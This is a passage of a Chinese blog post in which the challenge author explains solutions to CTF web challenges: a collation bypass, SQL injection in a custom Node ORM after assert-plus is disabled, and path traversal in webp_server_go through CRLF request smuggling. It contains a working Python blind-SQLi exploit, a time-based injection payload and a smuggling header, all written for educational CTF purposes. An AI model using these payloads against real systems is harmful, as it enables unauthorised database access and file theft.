secréts</code></pre><p>当然如果不知道这一点,也可以在本地起一个完全相同的环境,设置相同的 Character Set 和 Collation,用和之前一样的办法把 Unicode 字符都枚举一遍,也能找出可以绕过检查的字符串。</p><p>最后说说题目背后的真实事件。2023 年 12 月,OKX 交易所就曾因 Collation 设置不当遭受攻击。攻击者通过 <code>saʦ</code> 欺骗了数据库,成功冒充 <code>sats</code> 铭文代币出现在了搜索结果中,于是眼神不太好的用户就上当受骗了,被黑客狠狠割了韭菜。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_59abe693ecb4e0459571adaffd70824e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_59abe693ecb4e0459571adaffd70824e.png" srcset="/loading.gif" alt=""></p><p>实际上这并不是数据库软件的错,而是在字符串比较时没有使用正确的 Collation,使用 <code>utf8mb4_unicode_bin</code> 则可以规避这一问题。</p><h2 id="safeblog2"><a class="markdownIt-Anchor" href="#safeblog2"></a> SafeBlog2</h2><p>Using WordPress is a bit too dangerous, so I’m developing my own blogging platform, SafeBlog2, to have full control over its security.</p><p><a target="_blank" rel="noopener" href="https://hans362-img.oss.0vv0.top/2024/04/24/SafeBlog2-b31bd0e5fa8528c0d3484d5a27d467ec.zip">Attachment</a></p><p>P.S. It is recommended to test your exploit locally before creating an online instance.</p><details><summary>答题情况</summary><p>SJTU-CTF 1 Solves / 1000 pts</p><p><code>0ops{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}</code></p><p>GEEKCTF 8 Solves / 611 pts</p><p><code>flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}</code></p></details><hr><p>出题灵感来自于 MapleCTF 2023 <code>Data Explorer</code>,考察环境变量导致 <code>assert</code> 失效以及查询次数有限情况下的 SQL 注入。</p><p>直接审计压缩包中的源码,发现似乎并没有什么问题,<code>utils/db.js</code> 中实现的简易 ORM 采用了预编译绑定参数,对列名也使用 <code>assert</code> 做了检查,好像无懈可击?</p><p>仔细观察会发现,这里的 <code>assert</code> 用的是 <a target="_blank" rel="noopener" href="https://www.npmjs.com/package/assert-plus"><code>assert-plus</code></a>,查询文档得知这个库提供了通过设置环境变量使所有 <code>assert</code> 失效的能力。</p><blockquote><p>Lastly, you can opt-out of assertion checking altogether by setting the environment variable <code>NODE_NDEBUG=1</code></p></blockquote><p>查看压缩包中的 <code>compose.yml</code>,发现确实设置了 <code>NODE_NDEBUG=1</code>,所以可以直接无视代码中的所有 <code>assert</code>,也就是列名检查失效了。</p><details><summary>你知道吗</summary><p>在 Python 中也存在类似的能力,而且无需引入第三方库,通过设置 <code>PYTHONOPTIMIZE=1</code> 环境变量即可使代码中的所有 <code>assert</code> 失效。</p></details><p>此时再去寻找代码中直接接受用户输入作为列名的地方,发现评论点赞接口存在问题:</p><pre><code class="hljs javascript">app.<span class="hljs-title function_">get</span>(<span class="hljs-string">'/comment/like'</span>, <span class="hljs-keyword">async</span> (req, res) => {
|
|
|
<span class="hljs-keyword">try</span> {
|
|
|
<span class="hljs-keyword">const</span> comments = <span class="hljs-keyword">await</span> <span class="hljs-title function_">runQuery</span>(<span class="hljs-string">'comments'</span>, req.<span class="hljs-property">query</span>);
|
|
|
comments.<span class="hljs-title function_">forEach</span>(<span class="hljs-function">(<span class="hljs-params">comment</span>) =></span> {
|
|
|
db.<span class="hljs-title function_">run</span>(<span class="hljs-string">'UPDATE comments SET likes = likes + 1 WHERE id = ?'</span>, comment.<span class="hljs-property">id</span>);
|
|
|
});
|
|
|
res.<span class="hljs-title function_">redirect</span>(req.<span class="hljs-property">headers</span>.<span class="hljs-property">referer</span> ?? <span class="hljs-string">'/'</span>);
|
|
|
} <span class="hljs-keyword">catch</span> {
|
|
|
res.<span class="hljs-title function_">status</span>(<span class="hljs-number">500</span>).<span class="hljs-title function_">render</span>(<span class="hljs-string">'error'</span>, { <span class="hljs-attr">message</span>: <span class="hljs-string">'Internal Server Error'</span> });
|
|
|
}
|
|
|
});</code></pre><p><code>req.query</code> 是用户传入的全部 <code>GET</code> 参数,直接作为 <code>filter</code> 参数传递给了 <code>runQuery()</code>,而 <code>runQuery()</code> 调用的 <code>filterBuilder()</code> 中的列名检查失效了,因此会把 <code>req.query</code> 的所有键当作列名拼接进 SQL 语句中,值则采用预编译绑定参数,那么通过控制键名就可以任意操纵 SQL 语句,理论上就可以进行注入了。</p><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">filterBuilder</span>(<span class="hljs-params">model, filter</span>) {
|
|
|
<span class="hljs-keyword">return</span> {
|
|
|
<span class="hljs-attr">where</span>:
|
|
|
<span class="hljs-string">'WHERE '</span> +
|
|
|
<span class="hljs-title class_">Object</span>.<span class="hljs-title function_">keys</span>(filter)
|
|
|
.<span class="hljs-title function_">map</span>(<span class="hljs-function">(<span class="hljs-params">key, index</span>) =></span> {
|
|
|
<span class="hljs-comment">/* Assertion ignored since NODE_NDEBUG=1 */</span>
|
|
|
<span class="hljs-comment">// assert(models[model].includes(key), `Invalid field ${key} for model ${model}`);</span>
|
|
|
<span class="hljs-keyword">return</span> <span class="hljs-string">`<span class="hljs-subst">${key}</span> = ?`</span>;
|
|
|
})
|
|
|
.<span class="hljs-title function_">join</span>(<span class="hljs-string">' AND '</span>),
|
|
|
<span class="hljs-attr">params</span>: <span class="hljs-title class_">Object</span>.<span class="hljs-title function_">values</span>(filter),
|
|
|
};
|
|
|
}
|
|
|
|
|
|
<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">runQuery</span>(<span class="hljs-params">model, filter, sort</span>) {
|
|
|
queries++;
|
|
|
<span class="hljs-keyword">const</span> { where, params } = filter ? <span class="hljs-title function_">filterBuilder</span>(model, filter) : { <span class="hljs-attr">where</span>: <span class="hljs-string">''</span>, <span class="hljs-attr">params</span>: [] };
|
|
|
<span class="hljs-keyword">const</span> order_by = sort ? <span class="hljs-string">`ORDER BY <span class="hljs-subst">${sortBuilder(model, sort)}</span>`</span> : <span class="hljs-string">''</span>;
|
|
|
<span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Promise</span>(<span class="hljs-function">(<span class="hljs-params">resolve, reject</span>) =></span> {
|
|
|
db.<span class="hljs-title function_">all</span>(<span class="hljs-string">`SELECT * FROM <span class="hljs-subst">${model}</span> <span class="hljs-subst">${where}</span> <span class="hljs-subst">${order_by}</span>`</span>, params, <span class="hljs-function">(<span class="hljs-params">err, rows</span>) =></span> {
|
|
|
<span class="hljs-keyword">if</span> (err) {
|
|
|
<span class="hljs-title function_">reject</span>(err);
|
|
|
} <span class="hljs-keyword">else</span> {
|
|
|
<span class="hljs-title function_">resolve</span>(rows);
|
|
|
<span class="hljs-keyword">if</span> (queries >= <span class="hljs-number">4</span>) {
|
|
|
db.<span class="hljs-title function_">run</span>(<span class="hljs-string">`UPDATE admins SET password = "<span class="hljs-subst">${passwordGenerator(<span class="hljs-number">16</span>)}</span>" WHERE id = 1`</span>);
|
|
|
queries = <span class="hljs-number">0</span>;
|
|
|
}
|
|
|
}
|
|
|
});
|
|
|
});
|
|
|
}</code></pre><p>然而阅读 <code>runQuery()</code> 的代码会发现,每 4 次使用 <code>runQuery()</code> 进行查询, <code>admin</code> 的密码就会被重置,所以显然不能直接注入获取密码,这该怎么办?</p><h3 id="预期解"><a class="markdownIt-Anchor" href="#预期解"></a> 预期解</h3><p>稍加思考不难发现,点赞接口会对结果集里面的每一条评论点赞,同时我们可以无限制地创建评论(创建评论不使用 <code>runQuery()</code>,不会触发密码重置),那么通过巧妙地构造 SQL 语句,我们就可以仅用 3 次查询,利用评论的点赞数间接泄漏出 <code>admin</code> 的密码,最后 1 次查询用于登录 <code>admin</code> 的账号获取 Flag。</p><p>具体构造 SQL 语句的方式有很多,看了大家的 Writeup 也确实各不相同,不过都大同小异,基本思想是一致的。以下是出题人笨拙的做法,供参考。</p><p>考虑到 <code>admin</code> 密码字符串长度为 32,每一位字符有 <code>0</code> - <code>F</code> 共 16 种可能,因此可以将每一位字符的每一种可能一对一地映射到 512 条评论上。选出每一位的字符对应的评论进行点赞,根据被点赞的评论 <code>id</code> 即可还原出密码,然后登录拿到 Flag。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> re
|
|
|
<span class="hljs-keyword">import</span> requests
|
|
|
<span class="hljs-keyword">import</span> bs4
|
|
|
|
|
|
url = <span class="hljs-string">"http://<instance_url>/"</span>
|
|
|
|
|
|
|
|
|
<span class="hljs-keyword">def</span> <span class="hljs-title function_">create_comments</span>():
|
|
|
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">512</span>):
|
|
|
<span class="hljs-built_in">print</span>(i)
|
|
|
<span class="hljs-comment"># ID starts from 51</span>
|
|
|
r = requests.get(
|
|
|
url + <span class="hljs-string">"comment/new"</span>,
|
|
|
params={<span class="hljs-string">"name"</span>: <span class="hljs-built_in">str</span>(<span class="hljs-number">51</span> + i), <span class="hljs-string">"content"</span>: <span class="hljs-built_in">str</span>(<span class="hljs-number">51</span> + i), <span class="hljs-string">"post_id"</span>: <span class="hljs-number">10</span>},
|
|
|
)
|
|
|
<span class="hljs-keyword">assert</span> r.status_code == <span class="hljs-number">200</span>
|
|
|
|
|
|
|
|
|
<span class="hljs-keyword">def</span> <span class="hljs-title function_">generate_payload</span>():
|
|
|
query = <span class="hljs-string">"{} AND '5'"</span>
|
|
|
char = <span class="hljs-string">"id = IIF(unicode((select substr(password,{},1) from admins)) <= 57, unicode((select substr(password,{},1) from admins)) - 47, unicode((select substr(password,{},1) from admins)) - 86) + 50 + 16 * {}"</span>
|
|
|
payload = {
|
|
|
query.<span class="hljs-built_in">format</span>(
|
|
|
<span class="hljs-string">" OR "</span>.join([char.<span class="hljs-built_in">format</span>(i + <span class="hljs-number">1</span>, i + <span class="hljs-number">1</span>, i + <span class="hljs-number">1</span>, i) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>)])
|
|
|
): <span class="hljs-number">5</span>
|
|
|
}
|
|
|
<span class="hljs-built_in">print</span>(payload)
|
|
|
<span class="hljs-keyword">return</span> payload
|
|
|
|
|
|
|
|
|
<span class="hljs-keyword">def</span> <span class="hljs-title function_">send_payload</span>():
|
|
|
r = requests.get(
|
|
|
url + <span class="hljs-string">"comment/like"</span>, params=generate_payload(), allow_redirects=<span class="hljs-literal">False</span>
|
|
|
)
|
|
|
<span class="hljs-comment"># Disallow redirect to avoid triggering another SQL query</span>
|
|
|
<span class="hljs-keyword">assert</span> r.status_code == <span class="hljs-number">302</span>
|
|
|
|
|
|
|
|
|
<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_result</span>():
|
|
|
hex_letters = <span class="hljs-string">"0123456789abcdef"</span>
|
|
|
r = requests.get(url + <span class="hljs-string">"post/10"</span>)
|
|
|
soup = bs4.BeautifulSoup(r.text, <span class="hljs-string">"html.parser"</span>)
|
|
|
article = soup.find_all(<span class="hljs-string">"article"</span>)[<span class="hljs-number">1</span>]
|
|
|
lis = article.find_all(<span class="hljs-string">"li"</span>)
|
|
|
res = <span class="hljs-string">""</span>
|
|
|
<span class="hljs-keyword">for</span> i, li <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(lis[:<span class="hljs-number">32</span>]):
|
|
|
<span class="hljs-built_in">id</span> = <span class="hljs-built_in">int</span>(re.search(<span class="hljs-string">r"(\d+)"</span>, li.text).group(<span class="hljs-number">1</span>))
|
|
|
res += hex_letters[<span class="hljs-built_in">id</span> - <span class="hljs-number">50</span> - i * <span class="hljs-number">16</span> - <span class="hljs-number">1</span>]
|
|
|
<span class="hljs-keyword">return</span> res
|
|
|
|
|
|
|
|
|
<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_flag</span>():
|
|
|
password = get_result()
|
|
|
<span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Admin password: "</span> + password)
|
|
|
r = requests.get(url + <span class="hljs-string">"admin"</span>, params={<span class="hljs-string">"username"</span>: <span class="hljs-string">"admin"</span>, <span class="hljs-string">"password"</span>: password})
|
|
|
flag = bs4.BeautifulSoup(r.text, <span class="hljs-string">"html.parser"</span>).find(<span class="hljs-string">"code"</span>).text
|
|
|
<span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Flag: "</span> + flag)
|
|
|
|
|
|
|
|
|
create_comments()
|
|
|
<span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Comments created."</span>)
|
|
|
send_payload()
|
|
|
<span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Payload sent."</span>)
|
|
|
get_flag()</code></pre><h3 id="非预期解"><a class="markdownIt-Anchor" href="#非预期解"></a> 非预期解</h3><p>出题人粗心大意,重置密码的代码竟然写错位置了,于是被 4 位选手狠狠非预期了。</p><pre><code class="hljs javascript"><span class="hljs-keyword">if</span> (err) {
|
|
|
<span class="hljs-title function_">reject</span>(err);
|
|
|
} <span class="hljs-keyword">else</span> {
|
|
|
<span class="hljs-title function_">resolve</span>(rows);
|
|
|
<span class="hljs-keyword">if</span> (queries >= <span class="hljs-number">4</span>) {
|
|
|
db.<span class="hljs-title function_">run</span>(<span class="hljs-string">`UPDATE admins SET password = "<span class="hljs-subst">${passwordGenerator(<span class="hljs-number">16</span>)}</span>" WHERE id = 1`</span>);
|
|
|
queries = <span class="hljs-number">0</span>;
|
|
|
}
|
|
|
}</code></pre><p>不难发现只有在查询成功的情况下,计数器才会累加,所以如果构造的 SQL 语句能够触发查询错误,同时能够通过延时来泄漏信息,那么就可以完全无视次数限制,当作普通的延时盲注来做。</p><p>具体而言,可以通过 <code>RANDOMBLOB()</code> 实现延时(因为 <code>sqlite</code> 没有 <code>SLEEP()</code>),通过 <code>load_extension(1)</code> 触发查询错误,只要延时先于触发查询错误即可,以下是选手 <code>__No0♭__</code> 的解法,供参考。</p><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">check</span>(<span class="hljs-params">curr, mid</span>):
|
|
|
burp0_url = <span class="hljs-string">f"<span class="hljs-subst">{HOST}</span>/comment/like"</span>
|
|
|
burp0_headers = {<span class="hljs-string">"Connection"</span>: <span class="hljs-string">"close"</span>}
|
|
|
response = requests.get(burp0_url, params={<span class="hljs-string">f"'1' = ? OR CASE WHEN (SELECT unicode(substr(password,<span class="hljs-subst">{curr}</span>,1)) FROM admins WHERE id = 1)<=<span class="hljs-subst">{mid}</span> THEN (1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(250000000/2)))) OR load_extension(1/0)) ELSE load_extension(1/0) END;--"</span>:<span class="hljs-string">"zz"</span>}, headers=burp0_headers, allow_redirects=<span class="hljs-literal">False</span>, proxies=PROXY)
|
|
|
<span class="hljs-keyword">return</span> response.elapsed.total_seconds() > <span class="hljs-number">0.5</span></code></pre><p>不过感觉难度上非预期解和预期解好像也差不了多少(?),所以无所谓啦。</p><h2 id="picbed"><a class="markdownIt-Anchor" href="#picbed"></a> PicBed</h2><p>PicBed is an elegant image hosting service which uses webp_server_go to serve your JPG/PNG/BMP/SVGs as WebP/AVIF format with compression, on-the-fly.</p><p><a target="_blank" rel="noopener" href="https://hans362-img.oss.0vv0.top/2024/04/24/PicBed-473bf2eca2078e5cfcb110d1f499c40c.zip">Attachment</a></p><p>P.S. It is recommended to test your exploit locally before creating an online instance.</p><details><summary>答题情况</summary><p>SJTU-CTF 1 Solves / 1000 pts</p><p><code>0ops{cVE_2021_46104_No7_FULlY_p@TcH3d}</code></p><p>GEEKCTF 7 Solves / 647 pts</p><p><code>flag{cVE_2021_46104_No7_FULlY_p@TcH3d}</code></p></details><hr><p>想稍微拉高一下难度,所以拿了个开源项目的很鸡肋的漏洞出了这道题,考察 HTTP 请求走私和 Go 语言代码审计。</p><p>观察压缩包中的源码,发现前端是用 Flask 写的,负责页面展示、图片上传,后端使用了开源项目 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a>,负责根据用户传入的 <code>Accept</code> 请求头返回原图或 WebP 格式的图片。我们的目标是拿到容器根目录下的 <code>flag.png</code>。</p><p><a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 默认加载的是 <code>/opt/pics</code> 中的图片。显然,我们需要挖掘 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 项目中类似于目录穿越的漏洞并加以利用。通过搜索 <code>webp_server_go path traversal</code> 关键词,不难发现该项目曾经有一个 CVE-2021-46104,但是在这道题使用的 0.11.1 版本中已经修复了,似乎没什么用。</p><p>不过我们不妨看看 CVE-2021-46104 是怎么修的吧。通过翻阅项目的 Issues 以及 PRs,发现涉及该漏洞修复的 PR 是 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go/pull/93">#93</a> 和 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go/pull/103">#103</a>。进一步阅读这两个 PR 中的代码改动,会发现最核心的就是下面这几行代码。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5d539cdcead23f4efa490c411b2eeba9.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5d539cdcead23f4efa490c411b2eeba9.png" srcset="/loading.gif" alt=""></p><p>从代码中看,开发者试图通过 <code>path.Clean()</code> 消除 <code>reqURI</code> 中的 <code>../</code>,从而避免目录穿越。通过查阅<a target="_blank" rel="noopener" href="https://pkg.go.dev/path#Clean">官方文档</a>可知,<code>path.Clean()</code> 函数通过纯词法处理返回与参数等效的最短路径名。这样乍一看好像没什么问题,即使 <code>reqURI</code> 中有再多的 <code>../</code>,消除到最后似乎也仅仅只能回退到 <code>/</code>,再与 <code>config.ImgPath</code> 拼接,肯定无法穿越出 <code>config.ImgPath</code>。</p><p>但如果 <code>reqURI</code> 直接以 <code>../</code> 开头呢?经过尝试不难发现,在这种情况下 <code>../</code> 会被直接保留,再与 <code>config.ImgPath</code> 拼接,就能够实现目录穿越。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_3261f0da44e2723572be1bb8e8f58cd4.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_3261f0da44e2723572be1bb8e8f58cd4.png" srcset="/loading.gif" alt=""></p><p>那么 <code>reqURI</code> 有没有可能直接以 <code>../</code> 开头呢?<a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 使用的框架是 <a target="_blank" rel="noopener" href="https://github.com/gofiber/fiber"><code>fiber</code></a>,而 <a target="_blank" rel="noopener" href="https://github.com/gofiber/fiber"><code>fiber</code></a> 是基于 <a target="_blank" rel="noopener" href="https://github.com/valyala/fasthttp"><code>fasthttp</code></a> 的。<a target="_blank" rel="noopener" href="https://github.com/valyala/fasthttp"><code>fasthttp</code></a> 在面对 URI 不以 <code>/</code> 开头的畸形 HTTP 请求时,并不会报错,而是依旧将其作为合法的 URI 处理。这也就意味着 CVE-2021-46104 并没有完全修好,我们只需构造如下的畸形 HTTP 报文,就可以穿越到根目录读取 Flag。</p><pre><code class="hljs http"><span class="hljs-keyword">GET</span> <span class="hljs-string">../../flag.png</span> <span class="hljs-meta">HTTP/1.1</span></code></pre><p>现在只剩下最后一个问题,如何把这个报文发给后端的 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 呢?仔细观察前端的 <code>/pics/<string:path></code> 路由,发现传给 <code>fetch_converted_image()</code> 方法的 <code>accept</code> 参数取的是 URL 解码后的 <code>Accept</code> 请求头,在 <code>fetch_converted_image()</code> 方法中直接拼接到了 HTTP 报文中。由此,我们可以实现 HTTP 请求走私,通过插入 URL 编码后的 <code>\r\n\r\n</code> 将一段 HTTP 报文截断为两段连续的 HTTP 报文,后一段 HTTP 报文是完全可控的,<code>fetch_converted_image()</code> 方法最终返回的也恰好是最后一段报文的响应体。于是,可以构造如下的 <code>Accept</code> 请求头实现我们的目标。</p><pre><code class="hljs http"><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>image/webp%0d%0a%0d%0aGET ../../flag.png HTTP/1.1</code></pre><p>所以最终的完整流程是,先随意上传一张图片,访问该图片并抓取 HTTP 报文,按上述方法修改 <code>Accept</code> 请求头,发送请求获取 Flag。</p><p>最后说说这个漏洞为什么鸡肋。首先畸形的 HTTP 报文必须直接发送给 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a>,一旦中间有 Nginx 之类的反向代理对 URI 做了检查就无法利用了,这也就是为什么本题要将其和 HTTP 请求走私结合;其次该漏洞只能读取图片文件,因为 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 会把读到的文件喂给 VIPS 处理,读到的文件只要不是合法的图片 VIPS 就会报错,攻击者无法得到文件内容,这也是本题 Flag 是图片的原因;最后攻击者还需要有图片的路径这一先验知识,否则很难读到有效的图片。</p><p>收完 Writeup 后已经将该漏洞报告给开发者,已于 0.11.3 版本中修复。</p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>这次我出的 4 道题的预期难度是简单、中等、困难、困难(按本文顺序)。GEEKCTF 的解题情况基本符合预期,Secrets 做出来的人意外地还挺多。SJTU-CTF 的解题情况则有点出乎意料,基本没什么人做 Web,完全没有像去年一样的盛况。从 SJTU-CTF 回收的问卷情况来看,有较多选手反映 Web 题目难度梯度不合理(虽然 Web 方向至少有 3 道出题人认为是简单的题目),然而某位几乎 AK Web 的巨佬又反馈 Web 题“一直做一直爽”、偏 MISC、没什么新东西,感觉难度梯度确实还挺难把握的,出那种既有意思又新手友好的题目好难啊TAT。</p></body></html></div><div class="license"><div class="license-title">SJTU-CTF / GEEKCTF 2024 部分 Writeup</div><div class="license-link"><a href="https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/">https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/</a></div><div class="license-meta"><div class="license-meta-item"><div class="license-meta-title">本文作者</div><div class="license-meta-text">Hans362</div></div><div class="license-meta-item"><div class="license-meta-title">最后更新</div><div class="license-meta-text">2024-04-24</div></div><div class="license-meta-item"><div class="license-meta-title">许可协议</div><div class="license-meta-text"><a href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh" rel="nofollow noopener noreferrer" target="_blank">CC BY-NC-SA 4.0</a></div></div></div><div>转载或引用本文时请遵守许可协议,注明出处、不得用于商业用途!</div></div><div class="post-footer__cats"><a href="/categories/%E6%B0%B4/" class="post-cats__link button">水</a><a href="/tags/Web/" class="post-tags__link button"># Web</a><a href="/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/" class="post-tags__link button"># 网络安全</a><a href="/tags/CTF/" class="post-tags__link button"># CTF</a><a href="/tags/Writeup/" class="post-tags__link button"># Writeup</a><a href="/tags/%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/" class="post-tags__link button"># 解题报告</a></div></article><div class="nav"><div class="nav__prev"><a href="/post/2024-annual-report/" class="nav__link"><div><svg viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg" width="24" height="24"><path d="M589.088 790.624L310.464 512l278.624-278.624 45.248 45.248L400.96 512l233.376 233.376z" fill="#808080"></path></svg></div><div><div class="nav__label">上一篇</div><div class="nav__title">2024年终总结</div></div></a></div><div class="nav__next"><a href="/post/weekly-31/" class="nav__link"><div><div class="nav__label">下一篇</div><div class="nav__title">周记#31</div></div><div><svg viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg" width="24" height="24"><path d="M434.944 790.624l-45.248-45.248L623.04 512l-233.376-233.376 45.248-45.248L713.568 512z" fill="#808080"></path></svg></div></a></div></div><div class="post__sponsers card"><div class="sponser-label">喜欢这篇文章吗?考虑支持一下作者吧~</div><a class="sponser-button button" href="https://afdian.net/@hans362" rel="external nofollow noreferrer" target="_blank" data-type="afdian">爱发电</a> <a class="sponser-button button" data-type="alipay">支付宝<img class="sponser-qrcode" src="https://hans362-img.oss.0vv0.top/2021/08/05/68281340.jpg"></a></div><div class="post__comments post__with-toc card" id="comment"><h4>评论</h4><div id="disqus_thread">您所在的地区可能无法访问 Disqus 评论系统,请切换网络环境再尝试。</div></div></div></main><footer><p class="footer-copyright">Copyright © 2017 - 2025 <a href="/">Hans362 's Blog</a></p><p>Powered by <a href="https://hexo.io" target="_blank">Hexo</a> | Theme - <a href="https://github.com/ChrAlpha/hexo-theme-cards" target="_blank">Cards</a></p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script><ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-8746554831230893" data-ad-slot="6356225601" data-ad-format="auto" data-full-width-responsive="true"></ins><script>(adsbygoogle=window.adsbygoogle||[]).push({})</script></footer></div><script defer src="https://blog.hans362.cn/npm/vanilla-lazyload@17.8.3/dist/lazyload.min.js"></script><script>window.lazyLoadOptions={elements_selector:".lazy"}</script><script async defer data-website-id="5d181692-8a81-4c20-a282-cee87a6b90ef" src="https://analytics.0vv0.top/vue.js"></script><script src="/js/pageviews.js"></script><link rel="stylesheet" href="https://blog.hans362.cn/npm/katex@0.16.0/dist/katex.min.css" crossorigin="anonymous"><script>function loadComment(){let e,n;(e=document.createElement("script")).src="https://blog.hans362.cn/js/disqus.js",document.body.appendChild(e),e.onload=()=>{new DisqusJS({shortname:"hans362-s-blog",siteName:"Hans362 's Blog",api:"https://api-v3.hans362.cn/",apikey:"8Z1UVT4UOk22yNyk9MhpqQ0FLb27Hb1bpV066b4v9zOFie0GQ6VCoJ9TJwoGlCVF",admin:"hans362",identifier:"post/sjtu-ctf-geekctf-2024-writeup/",url:"https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/",nesting:"4"})},(n=document.createElement("link")).rel="stylesheet",n.href="https://blog.hans362.cn/css/disqusjs.css",document.head.appendChild(n)}var runningOnBrowser="undefined"!=typeof window,isBot=runningOnBrowser&&!("onscroll"in window)||"undefined"!=typeof navigator&&/(gle|ing|ro|msn)bot|crawl|spider|yand|duckgo/i.test(navigator.userAgent),supportsIntersectionObserver=runningOnBrowser&&"IntersectionObserver"in window;setTimeout(function(){var n;!isBot&&supportsIntersectionObserver?(n=new IntersectionObserver(function(e){e[0].isIntersecting&&(loadComment(),n.disconnect())},{threshold:[0]})).observe(document.getElementById("comment")):loadComment()},1)</script></body></html> |